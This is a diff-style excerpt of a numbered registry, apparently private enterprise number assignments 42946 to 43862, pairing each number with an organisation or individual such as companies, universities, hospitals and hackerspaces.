+42946 Utel Systems
+42947 Network Technologies International, Inc.
+42948 Methodist Home for Children
+42949 Bol.com b.v.
+42950 Hangzhou Joson Technology Co.,Ltd
+42951 Highlands Technologies Solutions
+42952 SOREDI touch systems GmbH
+42953 "Runet Business Systems"
+42954 Bizerba GmbH & Co. KG
+42955 Louisville-Jefferson County Metro Government
+42956 HumanIT Inc.
+42957 Wave Advanced Technology Applications s.r.l.
+42958 Central Office for Administrative and Electronic Public Services
+42959 Snap Limited
+42960 Garn Contracting & Consulting Pty Ltd
+42961 EH-electronics GmbH
+42962 Blitznote e.K.
+42963 UltraMED Systems, Inc.
+42964 Abelsoft Inc
+42965 ec3 Networks GmbH
+42966 ECHO LLC
+42967 liedloff.org
+42968 Wertschütz GmbH i.Gr. (formerly 'ME Engineering M2M GmbH')
+42969 Iorga Group
+42970 RP SIA "Rigas satiksme"
+42971 ONELAN LIMITED
+42972 IT Business Solutions and Services (ITBSS)
+42973 COMDOK GmbH
+42974 Willis-Knighton Health System
+42975 Iridium Thought
+42976 Key Source International
+42977 Matta Consulting Limited
+42978 CSN Groep BV
+42979 Wellington Security Systems
+42980 EZ e-TRAK
+42981 Heuristic Systems Pty Ltd
+42982 Leafsprout
+42983 SAS Nexylan
+42984 Toyohashi University of Technology
+42985 Bdog Technology (formerly 'Cnofe')
+42986 Beijing MicroColor Corp., LTD.
+42987 Gida Technology Services
+42988 Nanjing Huamai Technology Co., Ltd
+42989 Telegärtner Karl Gärtner GmbH
+42990 VTSL Ltd
+42991 Marylhurst University
+42992 Vektron Energy (Pty) Ltd
+42993 Wake Forest Baptist Health (formerly 'Cornerstone Health Care, P.A.')
+42994 Institut de Physique de Rennes
+42995 AvertIT
+42996 NOMASYSTEMS, S.L.
+42997 Red Giant Inc
+42998 Progdence Co.,Ltd.
+42999 Parse Software Development B.V.
+43000 Service Ontario
+43001 Nextbeacon
+43002 RootService (Markus Kohlmeyer)
+43003 TribalGroup
+43004 Xinguard, Inc.
+43005 University of Technology and Life Sciences in Bydgoszcz
+43006 root-a
+43007 Gipen Systems
+43008 FRTek
+43009 Vilnius Gallery
+43010 Two Sigma Investments, LLC
+43011 Sängerschaft Erato
+43012 Aldo Group Inc.
+43013 ISC8, Inc.
+43014 En Garde Systems, Inc.
+43015 Quinyx AB
+43016 Réseau en scène Languedoc-Roussillon
+43017 Albaad
+43018 Pädagogisches Landesinstitut
+43019 Digital Human Identity S.L
+43020 Angel Lane
+43021 i-storm
+43022 OneSearch Direct Ltd.
+43023 Tuxpower.dk
+43024 InfoGoose.Inc
+43025 Nomadconnection, Inc.
+43026 Mostlucky Ltd.
+43027 Fujian Great Power PLC Equipment Co.,Ltd
+43028 Office of Immigration and Nationality
+43029 Netco Ltda. Network Solutions Co.
+43030 ROCK YOUR LIFE! gGmbH
+43031 RaumZeitLabor e.V.
+43032 Live It - Nerd
+43033 TVV lippu- ja maksujärjestelmä Oy
+43034 K and P Business Solutions
+43035 Feinschliff
+43036 Bay Of Plenty District Health Board
+43037 Newcastle-under-Lyme College
+43038 Creative Electronic Systems SA
+43039 OASYS Healthcare Corporation
+43040 Davra Networks
+43041 ATREM S.A.
+43042 Definition Networks Inc.
+43043 Information System Assiociaties
+43044 Gran Investimentos
+43045 Banco Exterior C.A. Banco Universal
+43046 Andrey Fedorov
+43047 H&W Computer Systems
+43048 CB7 Systems LLC
+43049 Stewart Bryant
+43050 Vobile Co., Ltd.
+43051 SHENZHEN SENSEGRID CO.,LTD.
+43052 Shenzhen Tendzone Intelligent Technology Co; Ltd
+43053 I.T. SYNERGY LIMITED
+43054 Crown Prince Court
+43055 American Kybernetik (Juan Daugherty)
+43056 ENVISTACOM
+43057 PrAT CENTRAVIS PRODUCTION UKRAINE
+43058 Synergy Sky AS
+43059 iteracon GmbH
+43060 Leepfrog Technologies, Inc.
+43061 Global System & Network Services BVBA
+43062 Ingenieure ohne Grenzen e.V.
+43063 Digital Multimedia Technology Co.,Ltd.
+43064 Embedded Wireless Labs
+43065 Shanghai Onezero Electronic Commerce Co., Ltd.
+43066 Stiebel Eltron GmbH & Co. KG
+43067 VFI SYSTEM
+43068 AVG Technologies
+43069 Markus Ruecker (mr-consult.net)
+43070 Hrvatska narodna banka
+43071 NABB Gaming Community
+43072 Privlo, Inc.
+43073 roskakori.fi
+43074 WRH Inc
+43075 SKY Interactive
+43076 Greiner Holding AG
+43077 TUI Marine
+43078 Lindvik
+43079 Zimmer GmbH
+43080 Atlantic Corporation of Wilmington, Inc.
+43081 intellec
+43082 Informatik Service Gesellschaft mbH
+43083 IMEN RAYANE SHRGH Co.
+43084 Webtown Informatika Kft.
+43085 Detroit R & D, Inc.
+43086 NHS Sistemas Eletronicos
+43087 xCelor LLC
+43088 Measurlogic Inc.
+43089 Dualog AS
+43090 KVADOS, a.s.
+43091 SAP integrator Ltd.
+43092 Habermehl
+43093 Xiamen Faratronic Co., Ltd.
+43094 HyperWallet Systems Inc
+43095 Service2Media B.V.
+43096 James Guse (JAG Enterprises)
+43097 ROTH + WEBER GmbH
+43098 Martem AS
+43099 Embrionix Design inc.
+43100 Strata Decision Technology, L.L.C.
+43101 Alphavida
+43102 Regional Municipality of Peel
+43103 Caradigm
+43104 CyberSecure IPS
+43105 CyberFlow Analytics, Inc.
+43106 PERK Innovation GmbH
+43107 Waclaw Schiller (Torinthiel)
+43108 Attend Systems, LLC
+43109 dataFASCIA Corporation
+43110 LTD «Bradbury Lab»
+43111 VNT Software
+43112 Picsearch AB (publ)
+43113 Screen9 AB
+43114 Kantonsapotheke Zuerich
+43115 Forêts & Bois de l'Est
+43116 Berghof Automation GmbH
+43117 National Stock Exchange Of India Limited
+43118 NORDSYS GmbH
+43119 Altibox AS
+43120 Peshawar Business School
+43121 Ypsomed AG
+43122 Summit Networks
+43123 Instituto Nacional para la Evaluación de la Educación
+43124 PasswordBox Inc.
+43125 System Studies Incorporated
+43126 US Fire Insurance Company
+43127 Oliver Manz (ips manz consulting)
+43128 TangentOrg
+43129 Meijo University
+43130 Amplesky Communication Technologies Ltd.
+43131 Ternopil State Medical University
+43132 CJSC Svyaz engineering
+43133 mailgarant (Meint Post)
+43134 Advanced Fiber Products LLC
+43135 adis.ca
+43136 Digital Footprints International, LLC; DBA Internet Identity
+43137 Raven Rocks Computer Services Group, Inc.
+43138 Multapplied Networks, Inc.
+43139 Glutonus SRL
+43140 Xora, Inc.
+43141 RVTN.org
+43142 St. Mary's International School
+43143 Nanjing Sinovatio Technology Co. ltd
+43144 HMS Industrial Networks
+43145 Vasily Nushtakin (Home Router)
+43146 VanWesten.net
+43147 Best Theratronics Ltd.
+43148 Det Norske Oljeselskap
+43149 RUBYCAT-Labs
+43150 Stenbock Systems Inc.
+43151 AltaSteel Ltd
+43152 Kristoffer Berdal (cognitive.io)
+43153 Gerriko S-E-T Technology Solutions Ltd.
+43154 NexLabs Pte Ltd
+43155 ION Trading Srl
+43156 WEY Group AG
+43157 Tatung Technology Inc.
+43158 Skytech.lt
+43159 Hartley Consultants Limited
+43160 EnStream LP
+43161 Riverside County Regional Medical Center
+43162 Flash Services
+43163 Cloud Technologies Inc.
+43164 Eruditor Group Ltd.
+43165 Strike Technologies, LLC
+43166 Thai Citrus, Inc.
+43167 NaSys Inc.
+43168 ALFRED E. TIEFENBACHER (Gmbh & Co. KG)
+43169 Tiroler Versicherung
+43170 Banco Bilbao Vizcaya Argentaria S.A
+43171 Datwyler Holding AG
+43172 Atrium - Region PACA
+43173 Elesta Ltd.
+43174 Ubiquity Srl
+43175 Dorsey Racing
+43176 Swiss Mobility Solutions
+43177 Positron srl
+43178 Main Line HealthCare
+43179 Lendy LLC
+43180 Ole Virginia Hams Amateur Radio Club
+43181 VFA INC
+43182 Minor Inf.Tech.
+43183 Renfe Viajeros, S.A.
+43184 The Floow
+43185 FINN Sp. z o.o.
+43186 Zweite Heimat GmbH
+43187 LIM college.
+43188 INDIWAN GmbH
+43189 J.B. Hunt Transport Services, Inc.
+43190 Arket Srl
+43191 Metamako
+43192 Automation & Integration Global Security Group, LLC.
+43193 GRG International LTD
+43194 ABB Oy
+43195 Management of finance of the Administration of Tchaikovsky municipal district Perm region
+43196 Evintia SL
+43197 BCS Technologies
+43198 stepins.com
+43199 Rubisco Ltd (formerly 'Aitch-Pea Limited')
+43200 CLAAS KGaA mbH
+43201 bytemine GmbH
+43202 Zeta Storage Systems Ltd (formerly 'Digital Networks UK Ltd')
+43203 TSS COMPANY
+43204 Hard 'n Software Consulting GmbH
+43205 Aloxa.eu
+43206 American Cancer Society, Inc.
+43207 Real-Time by Design, LLC
+43208 Cybersavants,LLC
+43209 Bliik
+43210 Prominic.NET, Inc.
+43211 Atostek Oy
+43212 space150, Inc.
+43213 Aveillant Ltd
+43214 Programa Interlegis
+43215 PC Users Group (ACT) Incorporated
+43216 Fukushima Prefectural Government. Japan
+43217 Ultimate Europe Transportation Equipment GmbH
+43218 tecalor
+43219 Sallie Mae
+43220 DB Netz AG
+43221 Bemobi Midia e Entretenimento LTDA.
+43222 Oxfam
+43223 Wireless Telecom Group, Inc
+43224 Netyard Pawel Jenner
+43225 Unitymedia KabelBW
+43226 Ashe Cosgrove Corporation
+43227 ossmail.de
+43228 Shanghai MRDcom Co., Ltd.
+43229 SOFTEH PLUS SRL
+43230 Betrust N.V.
+43231 GSI Helmholtzzentrum für Schwerionenforschung GmbH
+43232 Bank of Nova Scotia
+43233 Scheinkönig & Co.
+43234 Enistek LLC
+43235 Stadt Chur
+43236 Pilz GmbH & Co. KG
+43237 AOC Oost
+43238 Compass Plus Ltd.
+43239 MindMade sp. z o.o.
+43240 Day & Zimmermann
+43241 Guidance Ltd.
+43242 Universal Switching Corporation
+43243 ShinyByte Web Agency, LLC.
+43244 Open Information Security Foundation
+43245 G421 Networks
+43246 Bennington-Rutland Supervisory Union
+43247 Rui Pereira (netcloud.pt)
+43248 3 Turn Productions LLC
+43249 THM Consulting Ltd
+43250 "Group of companies "POWER ENGINEERING" Ltd
+43251 Planet Erde
+43252 CosDay e. V.
+43253 ASGraphics
+43254 Geonov
+43255 FISBA Optik AG
+43256 FlouLab (Ioannis Angelakopoulos)
+43257 webs.bz
+43258 D'Youville College
+43259 Cambridge Health Alliance
+43260 WireGeo.com
+43261 Pontis Research Inc.
+43262 ABVI-Goodwill
+43263 SolarCity
+43264 Opanga Networks, Inc.
+43265 HongKong Yunlink Technology Co., Ltd
+43266 S.Toraighyrov Pavlodar State University
+43267 JAMESON MEMORIAL HOSPITAL
+43268 TELECO Spa
+43269 DI Kurt Renauer
+43270 Yoshitaka Yamane
+43271 Justus-Liebig-Universität Gießen
+43272 Austria Card Plastikkarten und Ausweissysteme Ges.m.b.H
+43273 Control Center Apps GmbH
+43274 "Group of Companies "RosIntegracija" LLC.
+43275 Alex Eggenberger
+43276 Coreline Soft Co.,Ltd
+43277 AE Telelink System Limited
+43278 zalio
+43279 R. L. Drake Holdings, LLC
+43280 Vereniging Ons Middelbaar Onderwijs
+43281 PAUL HARTMANN AG
+43282 PROVIDENTIA SYSTEMS
+43283 Vado Security
+43284 Dream Solutions Ltd
+43285 Quanzhou Karassn Security Protection Electronics Co., Ltd.
+43286 Keysight Technologies, Inc.
+43287 Mocomsoft Inc.
+43288 Lugansk State Academy Culture and Arts
+43289 W3Security
+43290 DLP Networks
+43291 Frank Loepthien (Loeppi)
+43292 Applifier Oy
+43293 Diakonie Deutschland
+43294 M2M Telemetria Ltda
+43295 Kreel LLC
+43296 Exablaze
+43297 BASSANO & ASSOCIATES
+43298 fnordspace.net
+43299 Das Kartell (German Star Citizen Organization)
+43300 PDC Corporation
+43301 xiamen diksoft Co.,Ltd.
+43302 Bank Of Stockton
+43303 1st Choice Tax Service, Inc.
+43304 Davenport University
+43305 Hey Communications
+43306 Bitclear, LLC
+43307 Keyprocessor
+43308 Appcara Inc
+43309 Sweratel AB
+43310 Konak Solutions Pty Ltd
+43311 Belcity Software
+43312 ZRO Kvant
+43313 zerolatency ltd
+43314 Tecteo Group SA
+43315 PowerDNS.COM BV
+43316 Information Factory
+43317 Stadtwerke Bonn GmbH
+43318 PERSON to PERSON Analysis CA
+43319 Secure Meters Limited
+43320 NetSTAR inc
+43321 Polaris Networks
+43322 Kenya Education Network
+43323 Trans4mation IT GmbH
+43324 FARSENS S.L.
+43325 Shoreland Inc.
+43326 Triple Canopy Inc.
+43327 Toronto Public Library
+43328 Exscribe, Inc
+43329 OneConfig Pty Ltd
+43330 Sonavation, Inc.
+43331 Madhat Technical Solutions LLC
+43332 DialogSoft inc.
+43333 Gangwon EMbedded Software Cooperative Research Center
+43334 iDocTrust
+43335 Union des Bois de Champagne
+43336 GOERLITZ AG
+43337 ZENON MEDIA GmbH
+43338 Yottabyte
+43339 efComs UG
+43340 Traffic Technologies, Inc.
+43341 Dashlink
+43342 SnailProof Computer Services
+43343 Contactless Devices LLC
+43344 Maven Inventing Solutions
+43345 Aktietrykkeriet AS
+43346 Douglas County School District, Colorado
+43347 ValueDatum Systems, Inc. Ltd
+43348 EmbeddedSoft Ltd
+43349 Nigerian Research and Education Network (NgREN)
+43350 Arikel.net Enterprises, LLC
+43351 Advania
+43352 Hangzhou Huaxing Chuangye Communication Technology CO.,LTD.
+43353 Beijing Certificate Authority
+43354 OBI Smart Technologies GmbH
+43355 VTI Instruments Corporation
+43356 Mimosa Networks, Inc
+43357 Thomas Fagart (Brozs)
+43358 candiansolar.com
+43359 China Guodian Corporation
+43360 Binhai Online Information Technology Company Limited
+43361 IT Voimala Oy
+43362 Zakład Automatyki i Urządzeń Pomiarowych AREX Sp. z o.o.
+43363 B2B.CZ, s.r.o.
+43364 Vision Box, S.A.
+43365 Qi ict
+43366 N-Tools.de
+43367 Suedzucker AG
+43368 Oradian d.o.o.
+43369 BrightSign LLC
+43370 Giordano Bruno Stiftung
+43371 Moegui S.p.A
+43372 Embedded Access Inc
+43373 Associação dos Registradores Imobiliários de São Paulo
+43374 Belton IT
+43375 Baer & Karrer AG
+43376 Ladybird Cranes Ltd.
+43377 GDV-IT
+43378 Holger Genth (HGD)
+43379 R.J. O'Brien and Associates
+43380 Counterpoint Networking, Inc.
+43381 GEMATICA SRL
+43382 Dreamket Co., Ltd.
+43383 Commercial Bank “Severo-Vostochny Alliance†(Joint-Stock Ñompany)
+43384 Pelle Olsson (Raholmen)
+43385 Proyectos-IP
+43386 Expkits
+43387 city of Sioux City, IA
+43388 aeworld.co.uk
+43389 Eko-konnect Research and Education Initiative
+43390 BEIJING FOREVER COMMUNICATION ELECTRONICS CO.,LTD
+43391 UTT Co., Ltd.
+43392 Agile Digital Engineering Pty Ltd
+43393 S-Net GmbH
+43394 Intrinium, Inc
+43395 The City of Amsterdam
+43396 earthlab (daichi makino)
+43397 NET MEDIA SERVICES a.s.
+43398 WILDIX
+43399 Tiscali Italia SpA
+43400 IT storitve, Gregor Jerše, s.p.
+43401 TRData Limited
+43402 Layer-7 Technologies
+43403 CareerHub Pty Ltd
+43404 SOCIEDAD ESTATAL CORREOS Y TELEGRAFOS SA
+43405 SA Water Corporation
+43406 Universiti Putra Malaysia
+43407 David Martin (ReaperLegion)
+43408 HDmessaging Inc
+43409 Reith IT-Lösungen GmbH
+43410 Joseph Williams
+43411 Graeser Development
+43412 Genius Digital Limited
+43413 Fairview Health Services
+43414 Molson Coors Brewing Company
+43415 Deepblue Informatikai Kft
+43416 Multigenregameworld LLC
+43417 South Side Hackerspace Chicago, NFP
+43418 Khakham Sayavong (Nticks)
+43419 Microsoft Unified Communications and Collaboration User Group
+43420 Proximic Inc
+43421 SysMa.cz
+43422 ADTEC Communications
+43423 KeyONet
+43424 Securitas FINLAND
+43425 Aduno Gruppe
+43426 Noction
+43427 Altus Sistemas de Automação S.A
+43428 The William and Flora Hewlett Foundation
+43429 Strata Information Technology, Inc
+43430 Systems Definition, Inc.
+43431 Tate, Inc.
+43432 MICROMED BIOTECNOLOGIA LTDA
+43433 Sreevidya Aravind
+43434 Metacom Pty Ltd
+43435 Nutsrange Technologies
+43436 Accumuli PLC
+43437 City of Montclair
+43438 County Of Bruce
+43439 J.J. Downs Industrial Plastics Inc.
+43440 royal holloway, university of london
+43441 royal holloway, university of london
+43442 Niles Radio Communications
+43443 Transacciones y Servicios Mobile
+43444 Inspire Living, Inc.
+43445 4th Layer Integrated Solutions S.r.l.
+43446 Hartmann Electronic GmbH
+43447 LoadFront, S.L.
+43448 THEFEINERS.COM
+43449 mobilcom-debitel GmbH
+43450 Agencja Restrukturyzacji i Modernizacji Rolnictwa
+43451 Australian Customs and Border Protection Service
+43452 Pragtec inc.
+43453 Visiometrics S.L.
+43454 Wiccess
+43455 LFT Solutions
+43456 KHS GmbH
+43457 Warp Software Ltda.
+43458 Nvizible Ltd
+43459 Virsae Group Ltd
+43460 university college Leuven Limburg (UCLL)
+43461 DGIT INTERNATIONAL PTE. LTD
+43462 Universidade Federal Rural de Pernambuco
+43463 Kyoto-University Microcomputer Club
+43464 Ten Cities Media
+43465 Communication Federal Credit Union
+43466 CMS Central Media Solutions GmbH
+43467 Evolv, Inc.
+43468 Cacto Internet Ltda
+43469 Sysnove
+43470 G + H Netzwerk-Design Gesellschaft für IT-Consulting mbH
+43471 Sun Trading Solutions
+43472 APC Integrated Services Group, Inc.
+43473 YHGfL Foundation
+43474 Coca-Cola Hellenic Bottling Company
+43475 XNX Sàrl
+43476 LeanDev
+43477 Bioss Consulting SRL
+43478 Jonathon Anderson (civilfritz)
+43479 Ecole nationale Supérieure d'Informatique
+43480 Canine Creche
+43481 Innovaatik OÜ
+43482 GlobalSensing Technologies
+43483 AIPHONE CO., LTD.
+43484 Fundación Fulgor
+43485 Trillium Teamologies, Inc.
+43486 Fuse Networks, LLC
+43487 Guangzhou Woxiang Information Technology Co., Ltd
+43488 Schletter GmbH
+43489 GOOD FIRST GROUP .
+43490 Rite-Tech Industrial Co., Ltd.
+43491 ITR Service GmbH
+43492 Bernhard Trinnes (microdots)
+43493 Online Linjeforening
+43494 Clarity Ltd
+43495 Taide Enterprise Co.,Ltd.
+43496 QSC AG
+43497 Weavesys UK
+43498 SENSORBOX LTDA (formerly 'SENSORBOX DO BRASIL LTDA')
+43499 Youncta
+43500 4D Security Solutions
+43501 Boston Financial Data Services Inc
+43502 HighRes Biosolutions
+43503 Jay Ridgeway (beekling.com)
+43504 Judd Storrs
+43505 Plugh Studios Ltd
+43506 Beats by Dre
+43507 ti&m AG
+43508 EDT SAS - Electronic Data Transfer
+43509 BITPRO AS
+43510 Juan Jose Rodriguez Ponce
+43511 E7 Solutions
+43512 BEIJING SIFANG AUTOMATION CO., LTD
+43513 SDIS68
+43514 kt telecop
+43515 NISCOM,Inc.
+43516 Auvik Networks Inc.
+43517 CoolMinds Technologies (P) Ltd
+43518 Smartconnect NV / SA
+43519 Tranwall
+43520 pteam gmbh
+43521 RSE Informationstechnologie GmbH
+43522 VoltServer, Inc.
+43523 Alberta Investment Management Corporation
+43524 Vanteon Corp.
+43525 Wavecon GmbH
+43526 Signal Bredbånd AS
+43527 Presidio Networked Solutions
+43528 SHODEN CORPORATION
+43529 Istituto Radiologico e Fisioradioterapico Valdarno
+43530 HYTEC INTER Co.,Ltd.
+43531 Atomic Object LLC
+43532 Yafeng Shan (kokonur)
+43533 Beijing National Railway Research & Design Institude of Signal & Communication Co, Ltd. (CRSCD)
+43534 Alstom Grid
+43535 Luxottica North America Distribution LLC
+43536 AO K-Dorstroy
+43537 Solumed
+43538 EXA-TMR
+43539 Dwarf Animation Studio
+43540 Federal Agricultural Marketing Authority
+43541 LSY Inc
+43542 DENT Instruments
+43543 ID Business Solutions Ltd
+43544 DigiComm GmbH
+43545 Omnitracs, LLC
+43546 Tariox Limited
+43547 SCOOP Software GmbH
+43548 Trasis sa
+43549 IT Competence Group SE
+43550 CAMEA spol. s r. o.
+43551 Mavari-IT bvba
+43552 Whitesky Communications
+43553 Rapid Focus Security, Inc.
+43554 IGC
+43555 LayeredDefense
+43556 Rigas domes Informacijas tehnologiju centrs
+43557 Nick Fender
+43558 GitHub, Inc
+43559 ENKOM AG
+43560 New Orleans East Hospital
+43561 Micro-Research Finland Oy
+43562 ZepMed, LLC
+43563 pedro paulo medeiros
+43564 TSC AUTO ID Technology Co., Ltd.
+43565 Reliance Jio Infocomm Limited
+43566 Engineering Center REGIONAL SYSTEMS, Limited
+43567 Yongjia County Board of Education
+43568 EMICON
+43569 Hong Yun Technology
+43570 Coopérative Forestière Bourgogne Limousin (CFBL)
+43571 SOCIETE DES TRANSPORTS ROCHATTE
+43572 Foundation for Research and Technology Hellas
+43573 VSAT-SERVICE
+43574 Lansing Makers Network
+43575 OpenPeak
+43576 IntSec.NET
+43577 CNPC Beijing Richfit Information Technology Co.,LTD.
+43578 42technology AG
+43579 EASYPROTO di Giacomo Cesari
+43580 SutherlandGlobalServices
+43581 Ooyala Inc.
+43582 Document Centric Solutions Ltd
+43583 ReMake Electric
+43584 Trizetto Provider Solutions
+43585 SAMSON AG
+43586 SVS TELEKOMÃœNÄ°KASYON HÄ°Z. TÄ°C. SAN. A.Åž.
+43587 Roave, LLC.
+43588 SAA Topnet GmbH
+43589 KEKLOLWTF AS
+43590 HAL9k hackerspace
+43591 Erlang Solutions LTD
+43592 Campbell Scientific, Incorporated
+43593 Crimson Innovative
+43594 Interhyp AG
+43595 MolinoSoft (Julian Bourne)
+43596 Carnegie Fitness
+43597 Comprehensive Health Management, Inc.
+43598 STORM
+43599 Paneidos Desu
+43600 Beijing Easesky Netcom Technology Co.,Ltd
+43601 Nuri Technology Co., Ltd.
+43602 Rossiya Segodnya
+43603 The Twelve Tribes
+43604 Arkansas Educational Television Network (AETN)
+43605 Metatrust
+43606 nobaq.net
+43607 Funda Real Estate B.V.
+43608 Raben Group
+43609 NetCracker Technology Corp.
+43610 ColosseoEAS, a.s.
+43611 Power Ethernet
+43612 IOLAN
+43613 Skylife Engineering
+43614 phaenovum Schülerforschungszentrum Lörrach-Dreiländereck e.V.
+43615 VonRoll
+43616 Aventura Technologies Inc.
+43617 Vidant Health
+43618 Camtrace
+43619 LianYunGang E-Port Information Development Co.,Ltd
+43620 Shenzhen Headsun Technology
+43621 Medical Effect
+43622 WebPerative LLC
+43623 Umensis - Guillaume Pannatier
+43624 Jaroslav Sendler (xsendl00)
+43625 Core Technology
+43626 NewB
+43627 Devani Creative
+43628 The Rubicon Project
+43629 PSITEX, LLC
+43630 Duxoft, Inc.
+43631 Heijmans N.V.
+43632 Celtex Works
+43633 AIES Advanced Industrial Electronic Systems
+43634 Metrellis, Inc.
+43635 Practice Velocity, LLC
+43636 LES.NET
+43637 Zymer Inc.
+43638 ITS Korea
+43639 Evoluta Interactive
+43640 THROUGHOTHEREYES (Jonathan Platzer)
+43641 netplus.ch SA
+43642 Linde Engineering
+43643 TEQ SA
+43644 Infra Services
+43645 FEIG ELECTRONIC GmbH
+43646 Datatal AB
+43647 Rimbach IT Systems UG
+43648 Naudit High Performance Computing and Networking S.L.
+43649 Raritan Bay Medical Center
+43650 United Health Services
+43651 INTTRA Inc
+43652 GoBICS
+43653 UNIVERSITAT OBERTA DE CATALUNYA
+43654 marcsi.ch
+43655 University Ecclesiastical Academy of Thessaloniki
+43656 Consortium
+43657 Kanton St.Gallen
+43658 Seacloud
+43659 Hochschule für Technik und Wirtschaft des Saarlandes (htw saar)
+43660 Zadara Storage Ltd
+43661 Columbus Business Solutions
+43662 Simpson Housing LLLP
+43663 eTouch Federal Systems
+43664 Unzane
+43665 rioxo GmbH
+43666 Hackerspace Brussels
+43667 Sunwire Inc
+43668 Andreas Kreisel
+43669 The Institute of Mathematical Sciences
+43670 Epic Code Pty. Ltd.
+43671 EMSEAS Teknik AB
+43672 INTELLECT MODULE
+43673 Federal State Unitary Enterprise CentrInform
+43674 Robonect
+43675 Accenture CAS GmbH
+43676 57North Hacklab
+43677 ICT Plus srl
+43678 Michael Kramer
+43679 SETTE
+43680 Chorus Limited
+43681 ELESTER-PKP Sp. z o.o.
+43682 ITSA Consulting, LLC
+43683 ALDEIS
+43684 NOVASIB GmbH
+43685 biz:Consult Unternehmensberatung GmbH
+43686 Jefferson County
+43687 Christoph Knott - IT-Sicherheitstechnik
+43688 GERMEN ELEKTRONIK LTD
+43689 schugart
+43690 The Active Network
+43691 Michael Kettner
+43692 haberberger.com
+43693 Fotolia LLC
+43694 Omega Intelligence Systems Ltd
+43695 5nine Software
+43696 LLC Info-Kontent
+43697 JSC Tyumen Electricity sale company
+43698 Joint Electronic Teller Services Ltd.
+43699 EasyData, LLC
+43700 PathCore
+43701 HySecurity, Inc.
+43702 Dom-Daniel
+43703 Wacom Company Ltd.
+43704 Accutron Instruments Inc
+43705 F!nTcH.org
+43706 Statnett SF
+43707 Australian Rail Tecchnology
+43708 SimonMed Imaging
+43709 AirDSL (Pty) Ltd
+43710 Siemens Gamesa Renewable Energy (formerly 'GAMESA')
+43711 mySupply ApS
+43712 Universidad Central de Venezuela
+43713 Code 42
+43714 Mega Soft Computación, C.A.
+43715 Data Infrastructure Technologies Ltd.
+43716 Veterinary Nurse Solutions Pty Ltd
+43717 imensup
+43718 Österreichisches Weltraum Forum
+43719 Telvio LLC
+43720 Creat0r.pro
+43721 Cyberoam Technologies Pvt. Ltd.
+43722 DAC Systems, Inc.
+43723 Stancil Corporation
+43724 Japan Prime Computing
+43725 Casair, Inc
+43726 GO! Express & Logistics Deutschland GmbH
+43727 Valeo Comfort ans Driving assitance
+43728 Sinergise Ltd.
+43729 Teckids e.V.
+43730 Ernst Klett AG
+43731 FooxTek Co., LTD.
+43732 Netmag Technology Corporation
+43733 East Photonics, Inc.
+43734 IQUO Ltd
+43735 STI-Tassimco
+43736 Standard Imaging, Inc.
+43737 MedAllies
+43738 Doshisha University
+43739 Concept Smoke screen Ltd
+43740 ASB-Security
+43741 Cerqueira & Marcos, Lda
+43742 Microx Computer GmbH
+43743 Open Systems Technology, Pty.
+43744 airberlin
+43745 CONSEJO DE LA JUDICATURA
+43746 Ulterius Technologies, LLC
+43747 MaterialApps
+43748 ARES Conocimiento de Negocio, SL
+43749 Country Bright Company Ltd.
+43750 Jabil Circuit, Inc
+43751 Shenzhen TG-NET Botone Technology CO. Ltd.
+43752 China Film Equipment Co. Ltd.
+43753 Kyriasis
+43754 Philipp Wagner Softwareentwicklung
+43755 BG-Phoenics GmbH
+43756 Schwarz Dienstleistung KG
+43757 QOSIT AG
+43758 Clique Intelligence Inc.
+43759 Big White Network Technologies,Ltd.
+43760 Atlas Networks
+43761 Our School Ltd
+43762 PlazaLotusGroup
+43763 ChinaFilm Global (Beijing) Technology limited
+43764 Tallac Networks
+43765 Color Print
+43766 MBSys LLC Azerbaijan
+43767 Eastern Long Island Hospital
+43768 GatesAir, Inc.
+43769 Vezea
+43770 Addat s.r.o.
+43771 Behlman Electronics
+43772 K+S IT-Services GmbH
+43773 The Vancouver Clinic Inc.
+43774 Hortonworks Inc
+43775 Quotepro Inc
+43776 Symbiotic System Design
+43777 Maikel de Boer
+43778 Hampshire Controls Corporation
+43779 Finnova AG
+43780 Paradox Networks, Inc
+43781 Moshel Kamadu Records
+43782 UPS Solutions INC.
+43783 WaveNet Communications Private Limited
+43784 IFOM
+43785 Magellium
+43786 Factual Inc
+43787 Leviathan Security Technologies
+43788 Comita d.d.
+43789 Trading & Consulting 'H.P.C.' GmbH
+43790 becker-aero
+43791 Cine Digital Service
+43792 Now Wireless Limited
+43793 Tom Gundersen (systemd)
+43794 Chris Thomson
+43795 Guangzhou Andea Electronics Technology Co.,Ltd
+43796 Rasing IT Solutions
+43797 Croz d.o.o.
+43798 NANJING SAND TECHNOLOGY CO., LTD
+43799 TRUMPF GmbH + Co. KG
+43800 OraSentry
+43801 Dolphin Systems AG
+43802 Avaloq Evolution AG
+43803 University of South Wales
+43804 Bombardier Aerospace
+43805 Metalogix International GmbH
+43806 Shape Security, Inc
+43807 CENTRI Technology, Inc.
+43808 Spincat Studios
+43809 University of the Philippines
+43810 Li Hongnan (LiHN)
+43811 University of the Philippines Mindanao
+43812 Corscience GmbH & Co. KG
+43813 Centraal Justitieel Incassobureau
+43814 GNU Networks Ltd.
+43815 The University of Texas M.D. Anderson Cancer Center
+43816 Tran Industries LLC
+43817 Vertex Business Services
+43818 Featurespace Limited
+43819 pulse technologies
+43820 Mozy, Inc.
+43821 Suwannee County School Board
+43822 Nok Nok Labs, Inc.
+43823 VAS Experts
+43824 ConectaIP Tecnologia S.L.
+43825 Earnest Products, Inc. dba Southern Manufacturing
+43826 TEXKA LABS
+43827 Ideosoft C.B.
+43828 Bosoft
+43829 Ifield School
+43830 eWater Pty Ltd
+43831 Ezvoicetek Co., Ltd.
+43832 Beijing D&S FieldBus Technology Co.,Ltd
+43833 LIVECREATION
+43834 Urban Systems Design Institute
+43835 HOCHTIEF CZ, a.s.
+43836 C Tech Bilisim Teknolojileri San.ve Tic. A.S
+43837 DTI Group Ltd
+43838 Genex Hellas L.T.D
+43839 RailComm LLC
+43840 Sumitomo Mitsui Banking Corporation
+43841 Eatel
+43842 Zero Waste Scotland
+43843 Alter Trading Corporation, LLC
+43844 GuangDong Big Banian Info Tech Co., Ltd.
+43845 Toshiba Tec Solution Services Corporation
+43846 University of the Philippines - Baguio
+43847 A Hagedoorn Electronics
+43848 INoTHINGS GmbH
+43849 LiiON, LLC
+43850 Doxcelerate Corporation
+43851 danieLLegal.Net - Rechtsanwälte
+43852 Truseco, s.r.o.
+43853 Academy of Economic Studies of Moldova
+43854 TU Investment Club e.V.
+43855 ezIX.org
+43856 UNIT4 Business Software Spain S.L.U.
+43857 mITra data
+43858 Grigorivska International School
+43859 Harbor Freight Tools
+43860 Groenewoud
+43861 New York Genome Center
+43862 Drei Banken EDV Ges.m.b.H.
